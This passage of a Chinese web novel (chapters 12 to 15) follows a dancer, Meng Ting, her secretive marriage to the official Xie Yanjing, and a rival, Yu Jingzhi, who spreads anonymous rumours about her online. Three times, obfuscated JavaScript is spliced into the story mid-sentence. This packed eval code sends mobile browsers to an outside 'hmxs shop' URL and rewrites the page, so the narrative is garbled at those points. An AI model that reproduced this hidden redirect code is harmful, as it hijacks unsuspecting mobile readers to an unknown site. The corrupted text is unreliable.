孟汀因为给几个同样想进剧团的学妹答疑解惑,所以耽误了些时间,整理好手袋出门时,发现沈潭山竟然也还没离开。 他正对着车上的仪表盘,显得有些发愁。 旁边没什么别的人,孟汀上前一步,询问道:“沈学长,需要帮助吗?” 沈潭山看着车表仪盘,有些不好意思道:“我那辆车送去4s店保养了,今天开的我老婆车过来,来时还好好的,自己现在变成看不懂的样子了呢?” 常年开油车的人对电车生疏也正常,她去年拿了驾照,今年刚好也有买车的打算,恰好了解了不少电车的型号。 “学长要是不介意的话,我帮您看一下?” 沈潭山:“当然可以。” 孟汀自顾自地上了副驾,埋头研究了起来,再借助手机上的蔬菜软件查了查,很快便找了原因。 研究下来,发现是因为沈潭山的误触将智驾模式改成勿扰模式,导致整个界面都和从前不同。 孟汀根据网上的指示将一切恢复了原样,沈潭山谢了又谢。 她随即打开车门,一只脚已经下去了,沈潭山忽然道:“还没问你怎么回去?要不我送你一程?” 孟汀顿了下,下意识拒绝:“不用了学长,也就十分钟路程。” “啊?”沈潭山道,“十分钟也得走上一会啊,况且这么晚了,路上也不安全。” 他又劝了几句。 孟汀不知为何想起那辆商务黑车。 垂下的目光扬了扬,然后道:“好吧,那麻烦您了。” 12. 第 12 章 车窗外,灯火绵延,整个城市宛若一片流动的光海。 车子启动的瞬间,车载音响同时启动。 孟汀抱着听音乐的心态,准备放松一下。 结果,一道熟悉的声音猝不及防地撞进她的耳蜗。 “这一次的战略合作为未来的发展开辟了新通道,我们的目标从来都不是单一的,片面的,而是为了多边发展,实现真正意义上的共赢……” 沈潭山看她神色微怔,便道:“你应该不常听这个吧?” 说着一边将空调打开:“我老婆买股票,所以经常听一些经济资讯,最近迷上了经贸会的负责人的发言,不知道你熟悉不熟悉,叫谢砚京,听说之前一直在外事部工作,还当了几年发言人,很有实力。” “……” 她诚实道:“不熟悉。” 沈潭山打着方向盘:“不熟悉还好,用我老婆的话来说,就是入他的坑易,退坑难。一个已婚男人还有这么大杀伤力……” 这次孟汀回应的倒很干脆:“一个已婚男人这样,确实招摇。” 沈潭山大概觉得她是在说笑,配合着笑了两声。 又听她开口:“不过这些都是表面上的,背地里如何,就不好说了。” 沈潭山没想到她会突然感慨,但也表示赞同:“说的也对。” * 她最终没能回到公寓。 半道上团长忽然打电话说,上面通知要进行项目审查,需要他们提交近三年的一些报告。 这部分报告有些由孟汀负责,文档备份也在她手里。 大概是上面催的紧,团长也着急,让她尽量今天晚上便整理好发来。 孟汀在手机备份里查了下,这才想起来,那份文件的u盘,在望公馆。 迟疑半分后,她不愿再麻烦沈潭山,便重新打了辆车,没想到手机不知道触碰到哪儿,竟然传出很大一声司机已为您的行程接单的提示声。 车内空间小,声音便久久回荡。 孟汀:“……” 沈潭山:“……” 这样的场合,很难不尴尬。 孟汀眼皮跳了跳,看着沈潭山百思不得其解,一脸我难道看上去很像图谋不轨的表情,给他讲清了实情。 沈潭山听完孟汀的解释,翻了下手机导航:“翠西路吗?刚好和我上高速一个方向,还可以送你一程。” 孟汀也没想到会这么巧,点了点头,“那真的麻烦了。” 两人在翠西路口分别。 回到望公馆后,谢砚京并未归来。她想起刚刚在学校看到那群人的架势,不像是能立刻散场的,怕是又要回去加班继续商讨文化周事宜。 孟汀在房间找到u盘,直接用望公馆的电脑开始修改文档。 团长那边已经发过来不少修改意见,她只要照着一条条落实就可以,这项工作说难不难,但有些琐碎,她又是极认真的性格,每一处细节都要自己确定无误之后才会发出。 修改到第三版时,已经快两点的光景。 零点时的兴奋已然过去,困意逐渐来袭,为了让自己清醒点,下楼去接了杯水,冰箱里有柠檬,她又给自己切了两片,放在水里提神。 客厅的门就是那时被打开的。 暗蓝色夜幕中,男人缓步进来,白衬衫,西服裤,脱掉的衣服搭在臂弯处,暖黄色落地灯在身上落下一片淡淡的光,温沉如玉。 孟汀也不知心头为何会慌乱一跳,脱口而出一句:“你怎么回来了?” 沉沉目光打在她眼底,清晰吐字:“我不该回来?” 孟汀只觉得脑子有些乱。 她怎么能问出这种问题,这是他在京市的家。 果然熬夜会使脑子变坏。 一丝不苟的温莎结被扯开,外套搭在玄关处,灯光半明半暗,衬得他的面容更加冷峻。 “谁送你过来的?”整理完衣服,他便径直走过来,语气中明明透着几分漫不经心,却有种意味深长。 她从来不会主动打车过来,今日李叔又全程陪着他,此刻见到确实不同寻常。 孟汀垂下眸子,轻声道:“今天跟我一起回校做讲座的师兄。” “师兄?” 这句话反问的太明显,孟汀几乎不用思考,就知道他是什么意思,立刻解释:“我本来是想回公寓的,但是u盘落在了这边,团长那边催的紧,刚好又和他顺路,他便捎了我一程。” “他让你坐车你就坐?” “这没什么需要避嫌吧?他是已婚身份,和妻子感情很好,连孩子都有了。”孟汀反驳。 谢砚京盯着她,沉默半晌后,薄唇微启:“你也是已婚。” 言外之意,是她自己该主动避嫌才对。 孟汀唇角动了动,但没出声,她要忙着改项目,没空和他争辩那么多,而且在这种事情上,她从来就不是他的对手。 切好的柠檬片还没有被完全浸润,孟汀放下手中的玻璃杯,转身就要上楼。 偏这时,肩膀被一个力量揽住。 再然后,整个人都被翻转过来。 其实孟汀上车的那一瞬间,他就在不远处。 那时会议刚刚结束,俞静之本以为他会亲自送她回家,没想到车子方向一转,反而又回到了舞院的方向。 路灯昏黄,男人姿态清落地立于斑驳树影下,俞静之跟在身后,不明所以道:“砚京哥,你在等人?” 视线中,女生正在指导主驾上的人操控系统,再正常不过的社交距离,看不出半分逾矩,后来,像是专门为了避嫌似的,她又从副驾下来,慢慢移到了后座的位置。 “没什么。”谢砚京收回视线,看向她时,眸色染了几分冷意,“你不是说车子停在附近?刚好自己开回去吧,我还有事。” 俞静之:“……” 她尴尬极了,攥着掌心立在原地,却也只能眼睁睁地看着他上车。 单薄温润的唇瓣,毫无征兆地覆了下来,他的速度太快,手肘像是无处安放般地撞在他紧实绷直的腰腹处,下一秒,则被他的掌心握住,慢慢环绕在他身后。 孟汀脑袋发蒙,接吻的间隙,才有几乎开口:“别这样……” “我那项目是真的着急……” “接个吻要多久?” “……” 久不久你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16620693|187866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心里有数。 气息一缓一落间,低沉的声线像是被夜色浸染,混沌而浓稠,“下次乖一点。” …… 孟汀终于能上楼,只不过刚在电脑前坐了几分钟,便口干舌燥。 她又哒哒哒跑下楼。 耳边传来哗哗的流水声,浴室的灯开始,隔着玻璃门,可以看到里面人影闪烁。 厨房里,她做的那杯放凉了的柠檬水早已被倒掉,手边的养生壶里却煮着新的。 像是早就知道她来要,所以等在那儿。 孟汀给自己倒了一杯,慢吞吞喝下去。 温度适宜,口感也没有刚才那样酸涩,原本的疲惫被扫清了不少。 这一个晚上过得兵荒马乱,总算在天亮之前,将东西发出去了。 团长也坚守了半宿,接受完孟汀的文件,提交给了剧院再次审核,大大方方给孟汀放了一早上假,让她补觉。 难得能心安理得睡一次懒觉,睁眼时,已是上午十一点。昨晚他似乎也睡得很晚,但今早依然早早离开。 她先去浴室洗了个澡,下楼准备吃午饭,刚准备落座,云姨忽然走过来:“太太,门外有人想见您一面。” 孟汀握住餐椅的扶手,好奇:“见我?” 她从未向外人透露过望公馆的地址,会有谁过来? 至于谢砚京那边,谢书语进门从不打招呼,梁叙几乎不进门,其他还能有什么人? 孟汀将耳边碎发往后揽了揽,开口:“我去客厅见人。” 她怎么也没想到,走进来的人是俞静之。 她一身浅色系的小香风长裙,踩了双尖头的小羊皮鞋,落在地砖上,慢慢踱步而来,明明是拜访别人,却没有任何拘谨,举手投足间都是属于她那个阶层大小姐的优越感。 看到孟汀后,她先是不动声色地打量了一番,才笑着开口:“我没想到会是你。” 孟汀感受着她的打量,面容淡淡地回视着她。 俞静之倒是因为孟汀这样的态度而有些吃惊。 她一直知道谢砚京领了证,却没想到这个人会是孟汀。 这不是她第一次见她,很多年前的一次宴会上,谢砚京便带着她出席过,那是俞静之远远地看过一眼。 女孩扎着丸子头,打扮的很素净,怯生生跟在谢砚京身后,无论是身形还是五官,都还算出众,但若看气质,和他们完全不是一个阶层的人。 她也根本没往那个方面想。 没想到再次见到,曾经的稚气和怯懦早已经褪去,本就明艳的五官,因为那份骨子里的骄傲,显得更加出众,尤其是那双眼眸,乌黑澄亮,婉约却带了股常人没有的锐气。 谢砚京是孤傲锋利,她则是温婉大方。从某个方面来说,非常互补。 那一瞬间,俞静之心底莫名生出几分嫉妒。 但她到底是自小见识过各种社交场合的大小姐,自然不会将场面弄得如此难堪。 孟汀不回话,她便按照常例自我介绍:“我是俞静之,孟小姐应该知道我吧,是阿砚自小的玩伴。” 她弯了下眉,笑的坦荡,“换句话说,也就是他的青梅竹马。” 13. 第 13 章 孟汀盯着她看了会,然后道:“俞小姐今日过来,有什么事吗?” 俞静之笑吟吟道:“也没什么事,只是听说阿砚身边跟了个人,所以想来见见。” 孟汀面不改色地看着她。 俞静之:“你跟他也好几年了吧?想过以后怎么样吗?要一直这样下去?” “他以前那个位置不好坐,你应该也知道,让你跟着身边,不过是当年的缓兵之策。” “现在好了,他的业务基本都在国内,境况和从前完全不同,一切也该回归正轨才对。” 她的语气明明是温和的,礼貌的,可那双眼睛里的审视和轻蔑,却无礼到了极致。 她说完这话,两人之间沉寂了一会。 久到俞静之以为孟汀无言以对,已经试图在她脸上寻找窘迫和难堪时,孟汀却忽然抬了下眼,直白地看着她:“所以俞小姐今日过来,是想为我人生规划?” 很温和的一句回答,但是里面的顶撞和嘲弄的意思,不能再明显。 再看那眼神。 完全没有被人戳破境遇的尴尬,反而是种高高在上的睨视。 俞静之不满她这样的态度,简直被气道:“你这是什么意思?” “你难道不清楚自己的位置吗?你不会觉得,你这样的人,真的配留在他身边吧?” 像是一拳打在了棉花上,俞静之的语气明显变得激动,孟汀的语气却依旧平淡:“留不留在他身边,俞小姐不应该去问谢砚京吗?” “还是说,这样的话,你不敢去找他对质?” 俞静之脸色僵了下,刚准备反驳,孟汀则不冷不淡地睨着她,耐心像是被耗尽了似的,敷衍地来了句:“毕竟,是他要和我领的证。” …… 俞静之走的远不如来时那样由气势,她走后,孟汀情绪也没有多大的波澜,完全是一副懒得搭理的状态,让云姨将午饭回了下锅,打包进便当盒。 到了剧院,她一边吃着盒饭,一边处理团长布置下来的新任务。剧院里演员没有固定工位,她先是在大厅里的咖啡馆找了个位置,但没多久,电脑的电量便告急了。 毕业后,需要用到电脑的地方有限,她手上的那款也就一直没有更新换代,性能都还好,就是电池老旧,耗电很快。 没办法,孟汀只能抱着电脑,四处寻找空闲的插座时。 这时,周严和小付刚好走了过来,得知孟汀的困境,小付立马热心道:“要不去我们办公室坐一下?我旁边那哥们刚好出差了,空出来个位置。” 孟汀:“方便吗?” 周严也点了下头:“当然。” 她着急做任务,也就没想那么多,跟着两人上了楼。 到了之后才发现,这哥们不过出差一个月,桌子上就已经堆了不少别人的东西。 有些是周严的,有些是小付的。 孟汀接触的男生少,她也是第一次知道,原来男生也是可以有这么多东西的。 两人匆匆忙忙把位置给她收拾出来,又给她重新拉了个插排出来。 全部捯饬完后,帮她调整位置时,周严下意识地看了眼她的电脑型号。 毕竟做的是技术工作,他对这些电子产品的了解也比较多,他知道孟汀手上的这款电脑虽然是几年前发售的老款式,但是配置很高,还是海外直发,当时的价格被炒的很高。 孟汀看周严看的入神,忍不住问:“有什么问题吗?” 周严又看了眼,斟酌着语句:“按理来说,这款电脑的电池耗电不会那么快。” “是吗?”孟汀不太懂这些,谢砚京买回来后她就直接用了,因为一开始用的很顺手,这么多年来,也没花心思多了解过。 “方便让我看一下吗?”周严问。 孟汀点头:“当然。” 她电脑里除了从前大学时的作业和一些作品,没有别的东西,完全可以大大方方的示人。 周严坐下来操作了一会,很快就明白原因所在了。 她电脑的初始设置只有一个盘,她没有分盘,导致所有文件都存在了一起,因为没有及时清理过,常年累月积攒了不少垃圾文件和大内存软件,导致开机后,CPU过载,背板发热严重,耗电量比正常情况下大了不少。 得到孟汀允许后,周严着手开始帮她清理。 将近10GB的垃圾文档,还有一些她自己都不知道还留存着的软件和重复无用文件被一一删除。直到角落里,一个不起眼的压缩文件被拎了出来,刚刚操作都还很顺利的周严突然卡了下,皱着眉研究了好半天。 孟汀察觉到了异常,开口道:“怎么了?” 周严盯着屏幕沉思了许久,又拿出手机查了查,这才恍然大悟:“抱歉啊,我刚刚没看出来,差点把你这个加密的文档当成垃圾处理了。” 孟汀疑惑:“加密文档?” 周严指了指电脑上的一个小标志。 这是个从外界导入的文档,隐藏在孟汀那一堆没有分类的文件当中,图标和普通文档无异,但是打开之后,却是个他从未见过的界面。 还是借助手机搜索,才知道这是个高级别的加密文档。 孟汀的表情却更茫然了。 印象中,她没有给任何文档设置过加密程序。 于是她也指了指那个小标志:“能帮我打开看看吗?万一是什么病毒软件就不好了。” 周严却摇了下头,“这个文档的加密级别很高,除了本人的密钥,一般破解不了。” 他扭头看向孟汀,眸色不解:“你没印象了吗?” 孟汀摇了摇头。 周严:“病毒软件和这程序兼容不了,百分之九十的可能是安全的,可能是你的家人或朋友导入的?” 家人或朋友…… 这倒给孟汀了点提示。这台电脑有段时间一直存在在望公馆,或许是他保存过文件。 既然可能是工作文档,孟汀也就没多想,让周严直接跳过。 整理完之后,整个界面都清爽了不少。 他们三个手里各自都有活,接下来的时间,办公室就是一阵噼里啪啦的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16620694|187866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 键盘声。 临近下班时间,孟汀终于忙完了手上的活,抬头间,刚好看到小付抱着电脑从外面走进来。 “博物馆把上次拍的宣介demo发来了,你们来看看,还有什么需要改的吗?” 孟汀本来以为他只是叫周严,但是观察了一下,发现这个“们”里,好像除了她,不能再有别人了。 孟汀也凑到前面看了看。 整体和她想象中差别还蛮大的,她本来以为古典成分多一些,但是制作下来,好像科技的成分更多一些。 时代发展到现在,似乎所有媒介都喜欢在作品上面加点料,否则就不好意思拿出手一样。 很少看到像以前那样纯粹,简单的作品了。 不过她不是专业的,也不好评价,周严和小付倒是发表了几个意见,大概是说哪里有些粗糙,放出去的会显得不专业。 * 博物馆官博正式发布视频时,孟汀正跟着剧团在京郊巡演。 京市官博本身就有不少粉丝,再加上《归去来兮》的宣发,一时间,掀起了不小的讨论度。 近几年文博项目算是大IP,不少粉丝本来是冲着文物过来,没想到宣介官竟然是个这么漂亮的小姐姐,在自媒体平台上一推广,立刻被不少人注意到。 【这个妹妹简直太好看了吧,气质突出,完完全全就是我想象中贵女的模样】 【官博啊官博,你也是出息了,能找到这么漂亮的宝宝当宣介官】 【这个小姐姐我之前好像看过,是京市剧院的首席吧?真是又年轻又有实力】 【离了官博谁好把我当人,小姐姐这个颜值简直秒杀正在热播的所有古偶剧女主好吧】 【一人一票支持小姐姐出道!!!】 孟汀一直忙着巡演的事情,没太关注网络上的评论,徐倩常年走在吃瓜第一线,有什么消息都要给孟汀分享。 “发布不到24小时,转发已经过万了,汀汀你成为顶流指日可待啊!” 孟汀把用来防滑的松香塞到徐倩手上,催促道:“顶流不顶流不知道,你要是在舞台上摔了,说不准真的能成为顶流。” 徐倩朝她吐了吐舌,麻溜地将松香放在脚下踩了踩,手上的动作却没停,抓紧一切时间刷社交软件。 “不过说真的,汀汀你真的太低调了,要是早两年起个自媒体账号,现在怎么说也算个小网红了吧。” 他们这个圈子有不少靠着自媒体火起来的,学生时期就已经能带货了,运气好点的,还因此实现了财富自由。 徐倩是懒得拍,孟汀倒是能抽出时间弄这个,但是要想火起来,就要将日常的生活公开在镜头前。 她自己倒无所谓,若是牵扯到那位,就不是火不火的事情了。 就在这时,耳边响起徐倩的惊诧声:“天啊,我看到了什么!!!” 孟汀抬头看她。 只听徐倩激动道:“谢砚京竟然给咱们官博的推送点赞了!就是转发你的小短片那一条!啊啊啊啊!!!” “……” 14. 第 14 章 孟汀神色讪讪地拿出手机看了眼。 她没有关注他的账号,点进首页,才看到了他点赞的消息。 这个号名义上是他的工作号,但其实和僵尸号没什么两样,平日里只会转发一些新闻,连点赞都很少。 徐倩情绪激动道:“一定是你美到他了!!!啊啊啊汀汀我真的为你骄傲。” “……” 孟汀咽了下干涩的嗓子,刚准备开口,又听她道:“啊啊啊!他突然关注我们剧团的官博了!!!” 接着,徐倩头上像是定了个加载圈,反应了半晌,突然看向孟汀,目光带着很明显的探寻,“会不会是因为……” 孟汀立刻道:“可能因为最近的中俄文化周?” 他们剧团也派了人去演出。 “两边有合作,他关注我们官博也正常。”孟汀笃定地补充了这么一句。 徐倩若有所思地点了点头,被孟汀这么一打断,想说的话反而忘了。 剧团到目的地的当天就来了场彩排,这里的舞台不比京市大剧院,设施老旧,灯光调度也有问题,一向严谨的孟汀,因为现场的问题,出了两次差错。 普通演员还好些,但是孟汀作为领舞,出现失误,往往牵一发而动全身。 但毕竟是适应场地,有失误是人之常情,团长并没有苛责,只让她注意安全。 但有的人,就没有那样宽容了。 结伴走在去餐厅的路上,几道刺耳的声音从前面传来。 “其实今天这个场子算不错了,我们之前去山区文艺汇演时,条件比这个还差,领舞的师姐都没有出任何问题。” “团长也真是好脾气,这都能忍。” 洛薇从解散时就阴阳怪气个不停,余光瞥到不远处的孟汀,更是变本加厉。 “也是,咱们这些人比不上人家忙碌,又是这个拍摄,那个拍摄的,可是再忙碌,本职工作也要做好吧?” 孟汀火的突然,像徐倩那样真心为她高兴的是少数,嫉妒的才是大多数。 徐倩有被这声音无语到,正要切换成战斗模式,转眸间,却发现孟汀正慢腾腾地落在队伍最后。 精致小巧的面容被屏幕的光映得有些苍白,看上去很为什么事情发愁。 徐倩停下脚步,正准备问她怎么了,却见她垂下眸子,神情有几分委顿:“倩倩,我不太饿,想先回房间休息。” 徐倩张了张唇,本来还想劝几句,但想到一会又要和洛薇拼桌,只好道:“行,你要有想吃的,过会我给你带回去。” 孟汀“嗯”了声,很快转身。 只是没走两步,紧握的手机震了震。 孟汀加快了步伐,原本想挂断,没想到手一滑,竟然按到了接听键。 一道清冽直白的声音响起:“往哪儿走?” 孟汀:“……” 她动了下唇,正准备辩驳,就听那人道:“现在,过来。” 电话很快挂断。 沉默片刻后,她调转了方向,站在原地看了会,确定同事们早已走远之后,才收回视线,迈开了步伐。 剧场后方的梧桐树下,停着辆熟悉的黑车。 流畅的线型隐在蓝色调的暮色中,倒也不显得那么扎眼了。 孟汀本想开后座车门,拉了下却毫无反应,没办法,只能慢慢往前挪。 副驾的车门,开的倒是很顺利。几乎是落座的一瞬间,只听“嗒”的一声,车内便落了锁。 孟汀眼皮一跳,很明显的感觉自己被关了起来。 一道略显锋利的眼风从主驾的位置上落过来,抬眸间,是男人冷硬的眉骨,薄唇微微抿着,完全看不出情绪,目光直落落地打在她眼底后,才开口道:“躲我?” 车内开着暖风,孟汀却没有感受到半分暖意。 她没有回望公馆的这段时间,两人一直没联系,偶尔闲下来,孟汀会猜测,是不是俞静之将那日发生的事告到了他耳边。 没想到今日排演结束,竟然再次收到了他的消息。 问她在哪儿。 她本想找个理由随便糊弄过去,没想到刚一走出剧场的门,就看到不远处那个熟悉的车牌。 简直就是明知故问。 “我没有……”孟汀躲闪着他的目光,生硬地转移话题,“你怎么突然来了?” 孟汀等着他兴师问罪。 没想到,下一秒。 “谢书语,”男人倦怠地掀了下眼皮,将一个小东西扔在她手边,淡声道,“再找不到你,她怕是要报警。” 孟汀低头一看,正是上次那个丑萌丑萌的小挂件。 她眸光顿了顿。 谢砚京又道:“她说上次是黄牛给她的赝品,又拿了个新的过来给你。” 孟汀拎起来一看,疑惑道:“可是为什么有两个?” “因为她买的第二个还是假的,我就买了个真的,让你好好看看区别。” “……” 区别还真是挺大的,比如同样是眯着眼睛,正品的是可爱,赝品的就是猥琐。 孟汀捏着娃娃的小脸,没想到就是如此猝不及防的间隙,唇瓣忽然被一个俯身而过的力度衔住。 秋风乍起,满树的梧桐枯叶,像是一场晚来疾雨,簌簌落了满地。一个力量裹着温度,缓慢却又强势地撬开她的齿关,接着,整个人都被他按在怀里。 潮湿,绵密,毫无顾忌。 很短暂的瞬间,她的脸上就泛起一阵潮红,想要拼命喘息。 她就知道,他来的目的根本没有那么单纯。 这样级别的轿车,私密性非常好。 没有路灯,没有往来的车辆,虽然他之前也不是没有在车里吻过,可那时他们在避世的森林,根本不是这样的闹市区。孟汀不自在极了,被勾缠着半天之后,终于在换气的间隙找了个机会,撑着他的胸腔,将他推开。 但推开的代价是,脖子后面忽然一痛。 她下意识地皱了下眉,极小声地“嘶”了下。 谢砚京倒是没再纠缠,垂眸看她,语气不知道是不是责备,“那里又痛?” 孟汀摸了摸后颈。 她有次练功的时候出了点意外,颈椎有些受损,今天天气预报要降温,外面起了风,大概是着了凉,才会有反应。 她缓慢地按揉着,忽然间,一条毛茸茸的围巾搭在了她的肩上,接着,两只莹白的手绕在她身前,整理着围巾,将她脖子完全裹紧。 孟汀不满,挣扎着就要解下来:“这是你的!” “你自己不戴,”他冷嗤一声,“想明天在台上出问题?” 孟汀败下阵来。 沉默的间隙,谢砚京又道:“准备去哪里吃晚饭?” 孟汀摇头:“不吃了。” “哦。”很低沉的一声回应,孟汀等着下车,他却忽然往后靠了靠,系上安全带。 接着车子发出低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16620695|187866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低轰鸣声,朝着大路上驶去。 孟汀几乎喊出来:“谢砚京你……” * 回酒店时,已经将近夜里十点。 徐倩正趴在床上看剧,听到刷卡进门的声音,连忙按了暂停:“你去哪儿了?怎么也不回消息?” 孟汀解下脖子上的围巾,赶紧挂在门口的衣挂上,饶是动作这么快,那股惯有的冷香,依然萦绕在身侧,久久不散。 孟汀含糊了一句:“屋里有些闷,出去转了转。” 徐倩:“这么冷的去走路?” 孟汀点点头,看到徐倩落在围巾的上的好奇目光,立刻道:“所以买了条围巾。” 徐倩点点头,盯着围巾看了会道,“这条围巾真好看。” 孟汀神情一顿:“好看吗?” “好看是好看,”徐倩若有所思,“但怎么说呢,有点不太像你平日里会买的风格。” 孟汀紧张地挠了下掌心:“这是什么风格?” 徐倩:“高级,但是透着点冷淡,我也不太说出来。最近有个奢牌强推一系列霸总性冷淡风,有一款围巾的设计就和这个很像。” 孟汀:“……” 她生怕继续聊下去会牵扯点别的出来,连忙转换了下话题:“你们晚上吃的什么?那家馆子可还合口味?” 徐倩一提到这个就来了精神:“你别说,还真不错。” “就是很倒霉地和洛薇拼了桌。”徐倩撇了下嘴,忍不住叹气,“整整半个小时,都被听她炫耀自己那个大佬男友,真是无语。” “我本来还打算给你打包点那个蟹粉肉包呢,被她这么一精神污染,都搞忘记了。” 孟汀放松地笑出来。 徐倩又问:“你呢?有没有买点什么来吃?” 孟汀:“随便吃了点。” 这话她其实说得心虚。 实际上,今晚这一顿,是她这几天吃过最好的一顿。她体质不好,肠胃也有些脆弱,巡演时匆忙,大家基本都在外面的小馆子解决,她的肠胃适应功能不好,为了不影响演出,她基本都吃自己带的速食。 今天原本准备啃个面包就了事,没想到谢砚京竟然直接带着她去了家私厨馆。 是家环境很清幽的小院,无论是食材还是调味料都足够干净,口味是极地道的京州菜,她因此破天荒地吃了整整一小碗米饭。 …… 不知道是不是这点碳水带来的满足感,下午排练失误的糟糕情绪缓解不少,当晚,她难得睡了个好觉。 第二天正式演出,孟汀一扫彩排时的阴霾,完美发挥。 观众的反响很热烈。 倒是前一日洋洋自得的洛薇,犯了几个低级错误,也幸亏队友们救场及时,没有造成重大失误。 徐倩心情好极了,准备摆出一副队友的架子,把昨天洛薇嘲讽孟汀的话原样还回去,再看着她落荒而逃。 没想到,远处的洛薇竟然兴冲冲地不请自来。 “原来我之前的猜测没错啊。” “孟汀啊孟汀,原来你也没有自己一直标榜的那么干净。” 毫无根据的脏水泼过来,徐倩和孟汀同时露出疑惑情绪。 洛薇则好心地指了指手机,笑吟吟道:“里面有你们想看的内容。” 徐倩和孟汀下意识地低头,几乎第一眼,就看到了群里那个醒目的标题: 【有人想听那位最近火出圈的首席瓜吗?】 15. 第 15 章 也就一场剧目的时间,就盖了足足一百多层。 L1:“首先声明,楼主并非圈内人士,和那位首席并无任何竞争关系,认识她也只是因为那一则文物短视频,也单纯就这则视频发表一些自己的看法。” “第一,女主抢戏太严重。好几个画面,本来叙述完背景,该给到文物细节了,为什么突然将镜头给了女主?第二,科技感太重。为了凸显女主肤色,加的滤镜太重,简直就是喧宾夺主,要知道文物是c位,不是给女主的陪衬。第三,剧本很奇怪。很像是临时加了很多奇奇怪怪的东西。” “楼主本以为是团队的问题,但是最近了解的一些事情,让我觉得,嗯……或许问题出在人身上。听说这位妹妹大学开始就经常夜不归宿,经常出入一些高消费场所,就连现在,上下班还有豪车接送。看资料,她并不是京市人,但从上学开始就过这样的生活,很难不让人ennnnn……” 下面还搭配了一张,不知道哪一次,李叔开车送她来剧团的照片。 下面的评论直接炸了。 L2:还分析什么,这不妥妥背后有金主吗? L3:这样被bao的小艺人,可不就是想怎么拍就怎么拍吗,心疼楼主分析这么多。 L4:不会吧?好歹也是首席,谈个光明正大的恋爱不好吗?就这样被包了? L5:我就说她为什么一路都走的那么顺,我认识个同样面试过京市剧院的研究生学姐,无论是履历还是实习,都比她丰富,却被刷了,现在懂了。 L6:我去,真是离大谱,被包就好好被包,安安心心在家享受生活不好吗?非要和打工人抢饭吃? …… 徐倩一脸震惊地看了会。 孟汀倒是早已面不改色的抬起了头,她当时看demo时就觉得不太对,但没想到还有后续。 孟汀淡定,徐倩却气的有些发抖:“这些人也太没有下限了吧!单凭一张嘴,便生出这么多子虚乌有的事。” 她记得孟汀说过,自己在京市有家人,所以时不时会出去住,至于豪车,京市这个地方,一板砖拍下去不知道能砸到多少,不少司机私下里会接私活,偶尔打到这样的车也没什么奇怪的。 徐倩:“我现在就联系管理员,让他删帖!” 孟汀抬了下眼,没什么情绪:“有用吗?” 徐倩语气弱弱道:“……不知道。” 贴主身份成谜,她们两个又是个无权无势的小姑娘,对方搭理不搭理都是个问题。 更何况,还很容易暴露身份,一不小心就变成了自己锤自己。 徐倩懊恼道:“那怎么办……” 然后又不死心地问:“汀汀,你认不认识能帮上忙的人啊?” 孟汀默了下。 她不知道这个帖子是谁发出来的,她在大学时选修过传媒专业的课程,对摄影技术有些了解,那张po出来的照片,看似是偶遇时的随手之作,但是看角度和构图,都有专业的影子。 看样子,这人只是冲她而来,对她“背后”的那位,其实没有多大敌意。 既然是她自己的事情,她也不好麻烦他。 孟汀垂了下眼眸,没什么情绪道:“看情况吧,清者自清,有的时候,着急自证反而会落人陷阱。” * 巡演完,孟汀没有直接回家,而是先根据团长的吩咐去舞院取了趟东西。 事情办的还算顺利,直到出门时,听到一声:“孟小姐。” 她转过头去,撞上俞静之那道打量的视线。 “我刚好来这边办事,没想到刚好听到了一些事情。”她笑吟吟地看着孟汀,“这几天你过得应该不太愉快吧?” 孟汀顿住脚步,抬眸看她。 她这话说的轻描淡写,但是也挡不住眸光深处的恶意,“我注意到,这个帖子直到现在还没有删除。” “这次的帽子扣的不轻,我还以为你会承受不了呢。” “这种事情对于普通人来说难于登天,但是对有些人不过是动动手指就能解决。”她轻飘飘的说着,“如果他真的在乎你的话——” 这话还没说完,方才一直沉默着孟汀,忽然迈步到她身前。 几乎没等她反应,原本握着手机的左手忽然被一个力道紧紧捏住,扬在了半空中。 “俞小姐的这个手机型号,好像很眼熟。”孟汀不紧不慢地对上她怔然的目光,平稳道,“好像和楼里面第50-60层发言人的型号一模一样。” 俞静之的目光中骤然闪过一丝慌张。 原本孟汀也只是试探,看到她这样,才完全确定猜想。 俞静之想要造谣她,随随便便花钱找个“知情人”即可,可人就是这样,永远按耐不住自己想要踩一脚的恶意,还以为伪装成国外的ip就真的能隐身。 没想到,被戳穿的俞静之连演都懒得演,不怒反笑:“怎么?你不会还要把这件事情告诉他吧,我们不如打个赌,看看阿砚会不会插手这件事?” “插不插手我不知道,”孟汀没什么情绪地看着她,“只是,作为外事部的实习生,挂梯子在网上冲浪,会不会明目张胆了些?” 俞静之面色一僵,脸色立刻变得很难看:“你怎么敢……” 